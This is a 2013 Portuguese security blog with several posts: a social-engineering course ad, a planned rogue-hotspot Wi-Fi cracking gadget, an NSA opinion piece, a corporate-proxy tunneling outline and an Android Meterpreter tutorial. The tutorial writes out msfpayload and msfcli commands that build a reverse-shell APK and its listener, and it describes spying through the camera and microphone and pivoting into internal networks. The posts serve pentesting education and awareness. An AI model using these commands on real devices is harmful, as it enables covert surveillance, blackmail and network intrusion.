15 de agosto de 2013

Curso de Engenharia Social & Pentest Físico - EaD

De 14/10 à 30/10/2013

AVISO: A data do curso foi alterada, para não conflitar com uma turma que está ocorrendo no momento, e teve seu final adiado. E as aulas serão apenas segunda, terça e quarta

OBS: esse é o curso Engenharia Social, que faz parte das formações completas. Qualquer pessoa pode participar do mesmo.

Curso de Engenharia Social - EaD, com conteúdo completamente prático em ambiente interativo, com acesso à tela do instrutor e download de todo o material de aula (vídeos de cada aula gravada e slides utilizados nas aulas).

Os alunos, além de montarem seus laboratórios com máquinas virtuais (com S.Os. atuais), terão exemplos reais de ataques de engenharia social, tanto para explorar a segurança física, quanto sistemas e pessoas.

Todo o curso será baseado na distribuição KALI LINUX, quando forem necessárias ferramentas computacionais, com ferramentas livres e gratuitas!

O instrutor do curso possui anos de experiência em testes de invasão, tanto em redes, quanto aplicações web, redes wireless e review code. E é uma oportunidade de aprender com quem convive com as necessidades e situações reais do mercado atual, com clientes de grande porte como multinacionais de diversas áreas (Petróleo e Gás, Telecomunicações, Transportes, Operadoras de Cartão de Crédito, Bancos, Instituições Militares e Órgãos Públicos).


Alguns dos tópicos abordados no curso são:

  • Princípios de Engenharia Social
  • Princípios de Inteligência e Contra Inteligência
  • Segurança Física
  • Busca de Informações
  • Pentest Físico
  • PNL para Hacking
  • No-Tech e Low-Tech Hacking
  • Softwares para ataques de Eng. Soc.
  • Lockpicking
Quem tiver interesse no curso, por favor, acesse o link http://bit.ly/ZkbwEE e faça sua inscrição no curso "Engenharia Social". Para pagamentos via PagSeguro, após preencher o formulário, aguarde o e-mail com o link de cobrança do PagSeguro.

Carga horária: 18h
Investimento: R$ 400,00 (com possibilidade de parcelamento em até 12x no cartão de crédito)
Desconto: 10% de desconto para pgtos à vista.
Horário de aula: 22h às 24h
Dias de aula: seg., ter., e qua.
Início das aulas: 14/10/2013

Observaçãopara pagamentos via depósito em conta, com 10% de desconto, entre em contato com luizwt at gmail.com.

14 de agosto de 2013

Novidades no HackProofing

Pessoal, temos algumas novidades para os próximos meses, e gostaria de compartilhar com vocês:

- No mês que vem, setembro, teremos a primeira turma do curso de Engenharia Social, com duração de 18 horas. Em breve abrirei as inscrições, e a ementa será que está logo abaixo:

  • Princípios de Engenharia Social
  • Princípios de Inteligência e Contra Inteligência
  • Segurança Física
  • Busca de Informações
  • Pentest Físico
  • PNL para Hacking
  • No-Tech e Low-Tech Hacking
  • Softwares para ataques de Eng. Soc.
  • Lockpicking
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- Em outubro ocorrerá o OWASP AppSec latam, em Lima-Peru, e três brasileiros palestrarão lá: eu (Secure Development Training: A Real Case of Sucess), Jordan Bonagura (The CSOs Myopia) e Bruno Ribeiro (Securing the digital certificate issuing process). Para quem quiser saber mais informações sober o evento, visite https://www.owasp.org/index.php/AppSecLatam2013/pt

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- Em breve começarei a vender aqui pelo blog, nosso HackPwn, bem parecido com o equipamento abaixo, porém mais compacto, mais leve e com bateria de duração de 5h.


Esse é o equipamento utilizado na confecção de nosso HackPwn, como podem ver, é menor, com a bateria integrada, e bem mais discreto:


Nosso equipamento terá capacidade de quebrar senhas de redes wireless que detectar enquanto estiver em funcionamento (pode estar até mesmo dentro do seu bolso. Você poderá levantar um hotspot wifi com ele e permitir que outras pessoas naveguem na internet, e capture os dados de quem quer que esteja conectado, redirecionar páginas e etc.

O objetivo do equipamento é facilitar o processo de teste de invasão em redes wireless, e ataques que envolvam uma certa dose de engenharia social.

E esse aparelhinho já virá com os seguintes softwares instalados e configurados:

  • Nmap network scanner
  • Tcpdump sniffer
  • Netcat Hacker’s swiss army knife
  • aircrack Wireless network analysis
  • kismet Wireless network analysis
  • reaver Wireless attack
  • Perl Scripting Language
  • Python Scripting Language
  • openvpn VPN Client and Server
  • dsniff suite of sniffing and spoofing tools, including arpspoof
  • nbtscan NetBIOS Network Scanner
  • snort Sniffer, Packet Logger, Intrusion Detection System
  • karma Wireless Sniffing Tool
  • samba2-client Windows File Sharing Client
  • elinks Text Based Web Browser
  • yafc FTP Client
  • openssh-sftp-client Secure File Transfer Client
  • Metasploit security framwork
  • SET Social Engineering Tolkit


Em breve também anunciaremos o início das vendas. Estamos preparando alguns outros equipamentos interessantes que só encontramos fora do Brasil. Aguardem!

9 de julho de 2013

NSA e a espionagem no Brasil: novidade?

Aproveitando que está rolando uma conversa na lista exploits-brasil sobre o assunto, colocarei abaixo o e-mail que enviei para a lista acerca do assunto em voga: a captura de dados pela NSA em um nível mundial.

A preocupação de muitos é sobre segurança de software e hardware apenas, mas esquecem o fator principal: o humano!

Segue minha msg enviada à lista...

Enquanto os jornais estão alardeando sobre o assunto essa semana, lembro que desde o final da década de 90 ouço falar do Echelon e Carnivore. O Echelon, que já existia desde a Guerra Fria só foi adaptado para a tecnologia atual (fibras) e agora o pessoal chama de PRISM.

James Bamford, pequisador sobre assuntos correlatos, já fala da existência da NSA desde a década de 80, quando todo mundo achava que NSA era a NASA escrito errado kkkkk. 

Os EUA tentaram grampear os cabos marítimos com um submarino, e não dando certo, criaram bases em locais estratégicos onde poderiam grampear os cabos por meios terrestres. Tanto que a "figurinha" apresentada sobre os cabos de fibras marítimas e os pontos de captura de tráfego como se fosse uma novidade, esse mesmo cara apresentou na palestra dele da RSA USA 2009...


E só uma coisa: a NSA tbm utiliza o que ele chamam de gumshoes, que nada mais são do que infiltrados nas organizações. Espionagem não é só software e nem hardware, mas a principal ferramenta é justamente o ser humano. Enquanto se discute captura de dados na rede, esquecem-se que infiltragem é a principal técnica de espionagem.

A própria sede da AT&T em São Francisco tem uma pequena salinha, onde todo o tráfego que entra nos EUA por lá, é capturado. E lá não é software, mas sim infiltragem física para essa captura de dados. Segue uma das imagens da palestra desse cara na NSA 2009:


Agora, essa notícia de que o governo brasileiro não sabia da base da NSA na embaixada, é historinha na minha opinião.

Quem deu todo o treinamento para os brasileiros na época de criação e implementação do antigo SNI (hoje em dia com o nome de ABIN)? Certamente que não foram os índios... 

Oficiais do Exército foram para os EUA passar alguns meses lá para serem treinados na área de inteligência,  e posteriormente americanos vieram ao Brasil para continuar o trabalho. Ninguém nunca ouviu falar em troca de favores? Será que o Brasil não tem histórico, pelo menos nos últimos 60 anos, de possuir VÁRIAS bases americanas em solo nacional? Basta pesquisar sobre as bases, principalmente no Norte e Nordeste de nosso país.

E mais uma última pergunta: será que o SNI (e atualmente a ABIN) acreditava que os americanos não tinha nenhum interesse em nossas informações e recursos, principalmente um país como os EUA que possui histórico de querer controlar tudo (vide Guerra Fria e todo seu histórico de espionagem)?

Mais uma vez acham que somos otários...

26 de junho de 2013

OWASP AppSec LATAM 2013


Caros,

Como líder do Capítulo OWASP Rio de Janeiro, é uma honra anunciar que o Capítulo OWASP do Peru sediará a conferência mundial OWASP AppSec Latam 2013 que será realizada em Lima, Peru. O evento consiste em dois dias de treinamento (1 e 2 de outubro), seguidos por dois dias de palestras (3 e 4 de outubro). O evento será em teatros e auditórios da Universidade Tecnológica do Peru.

A Conferência Global AppSec Latin America 2013 é um encontro onde líderes latino-americanos de segurança da informação apresentam ideias inovadoras. Eventos OWASP atraem a audiência global interessada em saber os próximos passos sobre os assuntos apresentados.

São esperados entre 200 e 250 participantes de toda a América Latina e de diferentes indústrias, incluindo Governo, Finanças, Telecomunicações, Tecnologia, Saúde e Educação, entre outros.

Se você está interessado em oferecer treinamentos ou apresentaçãoes, estão abertos os chamados para palestras e treinamentos - CFT - e CFP.

O prazo para apresentação de propostas é 02 de agosto de 2013.

Para mais informações, visite: appseclatam.org

Você também pode seguir no twitter para ficar atualizado com notícias e anúncios: @AppSecLatam

Estou disponível para qualquer dúvida.

PS: além do evento valer muito à pena, as passagens aéreas de ida e volta para Lima chegam a ser mais baratas do que para alguns estados brasileiros.

13 de junho de 2013

Como burlar um proxy corporativo

Muita gente hoje em dia trabalha em empresas que utilizam proxys corporativos para filtrar aquilo que o funcionário acessa em seu horário de trabalho. Acho isso justo e necessário muitas vezes.

No entanto, para um pentester que esteja realizando um teste do tipo gray box, muitas vezes é necessário acessar a web para baixar alguma ferramenta ou código malicioso para realizar uma escalada de privilégios na máquina em que está trabalhando. É justamente para essas pessoas que direcione esse post. Mas se algum funcionário utilizar essa dica para burlar os controles impostos pelo seu empregador, aí vai outra dica: para pegá-lo existe a rastreabilidade, e uma série de ferramentas e métodos para descobrir que esses controles foram burlados. Isso inclusive é coisa fácil de saber para um perito forense :-)

A ideia aqui, é utilizar algumas ferramentas do tipo Unix like para fazer um bypass em proxys Windows, que utilizam autenticação NTLM.

As seguintes ferramentas serão utilizadas:
  • cntlm é  um proxy que permite que nossas ferramentas atravessem o proxy Windows, realizando a autenticação NTLM. Ele fica "escutando" (listening) no localhost e funciona como um proxy HTTP comum.
  • corkscrew para tunelar o tráfego SSh sobre proxys HTTP. 
  • Um cliente ssh para abrir um socks proxy no localhosty e um servidor ssh ouvindo na 443.
  • Um browser que suporte socks proxy (ex. Firefox)

O tráfego vai fluir na seguinte direção:

Firefox -> ssh client -> corkscrew -> CNTLM -> Corporate Proxy -> SSH server -> Internet


Não vou entrar no mérito de como configurar cada uma dessas ferramentas, pois é coisa simples que se encontra por aí na net. A ideia é mostrar quais os recursos usar para fazer esse bypass. até porque se um pentester não souber como configurar isso, é melhor desistir da profissão :-)

See ya, folks!

10 de junho de 2013

Referências de artigos de Forense Digital e Segurança da Informação na WEB

Essa dica encontrei no blog do Lenny Zeltser, especialista em análise de malwares e instrutor da SANS, além de criador da distribuição Linux REMnux, voltada para engenharia reversa e análise de malwares. O link do blog dele encontra-se na minha lista de blogs interessantes, na parte inferior direita.

Da mesma forma que ocorre com ele, muitas pessoas (principalmente alunos), me pedem referências de sites, artigos e materiais em geral voltados para essa área de forense e infosec. Abaixo, segue uma lista de sites, compilada pelo Lenny Zeltser, divididos em grupos:


Digital forensics in general:
Specific to malware analysis:
Broader IT and information security career tips:

Espero que aproveitem e que essas referências sejam de valia para todos!

6 de junho de 2013

Meterpreter para Android



Há um tempo atrás, começou uma movimentação entre o pessoal que cuida de um fork do Metasploit, para desenvolver diversas funcionalidades que não existem na versão original mantida atualmente pela Rapid7. E dentre essas funcionalidades, está o Meterpreter Java portado para Android.

Já tem um bom tempo que estamos no aguardo de um Meterpreter para Linux, pois só havia uma versão para Windows, e algumas tentativas para o Linux, mas essa versão para Android, também é hiper bem vinda!

Para quem quiser dar uma olhada nessa nova funcionalidade, basta baixar essa versão do Metasploit, ou fazer a atualização de sua instalação com o comando ./msfupdate.

Logo abaixo, vocês podem ver o resultado desse comando atualizando o Metasploit com essa funcionalidade:

./msfupdate 
[*]
[*] Attempting to update the Metasploit Framework...
[*]

[...]
 create mode 100644 external/source/javapayload/androidpayload/library/src/androidpayload/stage/Meterpreter.java
 create mode 100644 external/source/javapayload/androidpayload/library/src/androidpayload/stage/Shell.java
 create mode 100644 external/source/javapayload/androidpayload/library/src/androidpayload/stage/Stage.java
 create mode 100644 external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/AndroidMeterpreter.java
 create mode 100644 external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_fs_file_expand_path_android.java
 create mode 100644 external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_sys_process_get_processes_android.java


Além disso, podemos visualizar se o mesmo já está instalado:

./msfpayload -l | grep -i android
    android/meterpreter/reverse_tcp                  Connect back stager, Run a meterpreter server on Android
    android/shell/reverse_tcp                        Connect back stager, Spawn a piped command shell (sh)



E para testá-lo, podemos criar um payload que permite termos uma conexão reversa:

./msfpayload android/meterpreter/reverse_tcp LHOST=192.168.1.102 R > shell.apk


É interessante, que nesse caso específico, precisamos definir que o formato de saída do payload será RAW (por isso o parâmetro "R"), mas nesse caso em específico, apesar da saída ser RAW, o msfpayload cria um arquivo APK no formato específico do Android. Vejamos:

file shell.apk 
shell.apk: Zip archive data, at least v2.0 to extract

Depois de criado o arquivo, basta que instalemos o mesmo em um dispositivo Android, para vermos seu funcionamento. Mas antes de instalá-lo, vamos deixar nossa máquina escutando, à espera de uma conexão vinda do dispositivo Android:


./msfcli multi/handler PAYLOAD=android/meterpreter/reverse_tcp LHOST=0.0.0.0 E


Na imagem acima, podemos ver a conexão reversa sendo realizada e o resultado do comando sysinfo.

Com esse meterpreter, podemos tirar fotos a partir da câmera do dispositivo Android, tanto a dianteira quanto a traseira, se houver. Outras duas interessantes possibilidades, é acionar o microfone do dispositivo para gravação de áudio ambiente e de ligações, e também a utilização do terminal do dispositivo como se fosse um micro remoto. Obviamente que existem outras, e deixo vocês testarem por conta própria :-)


Ok, até aí, quando pensamos em usuários comuns, não vejo muitos problemas, a não ser, obviamente, a invasão de privacidade. Por exemplo, imagine você sendo chantageado, porque um cara descobriu que em sua última ida ao motel, não foi sua esposa que lhe acompanhou (ou vice-versa) ;-)

Mas pensemos em uma grande corporação, onde  o termo BYOD (Bring Your Own Device) está em voga e sendo implementado (sem os devidos controles de segurança)... O que será que pode ser descoberto gravando o áudio de um dispositivo utilizado por um executivo durante suas reuniões? E as fotos dos locais que ele frequenta? 

Mas ainda assim isso é pouco...

Acredito que os(as) senhores(as), que já utilizaram o Metasploit (principalmente quem já fez algum curso de pentest comigo) conheçam o termo pivoting, que basicamente é a utilização de uma sessão do meterpreter, sendo utilizada como rota para tráfego de rede. Podemos fazer isso com o portfw também, como descrito nessa documentação da Offensive Security - http://www.offensive-security.com/metasploit-unleashed/Portfwd . Executando o comando abaixo, realizamos isso:

meterpreter> portfwd add -l 80 -r 192.168.100.10 -p 80
[*] Local TCP relay created: 0.0.0.0:80 <-> 192.168.100.10:80


Com esse procedimento, qualquer dispositivo Android que tenha acesso à rede interna de uma companhia, e que tenha sido comprometido por um atacante, torna-se uma porta de entrada para todos os recursos acessíveis para o funcionário dono do mesmo. E se esse funcionário, mais uma vez, for um executivo? E se esse executivo deixa seus filhos utilizarem seu smartphone ou tablet para instalar joguinhos sem conhecer a procedência ou confiabilidade dos mesmos?

Durmam com isso na mente!

Essa é uma preocupação que eu mesmo tenho, já que atuo com forense. Podem ver minha palestra sobre forense em Android aqui:
Vídeo - http://hackproofing.blogspot.com.br/2013/05/video-de-palestra-androids-forensic.html
Slides - http://hackproofing.blogspot.com.br/2012/05/slides-androids-forensics-you-shot.html

Além disso, ainda atuo na frente de iniciativas de SI em projeto de implementação de BYOD em uma  grande corporação... Logo, esse assunto faz parte de minhas noites insones ;-)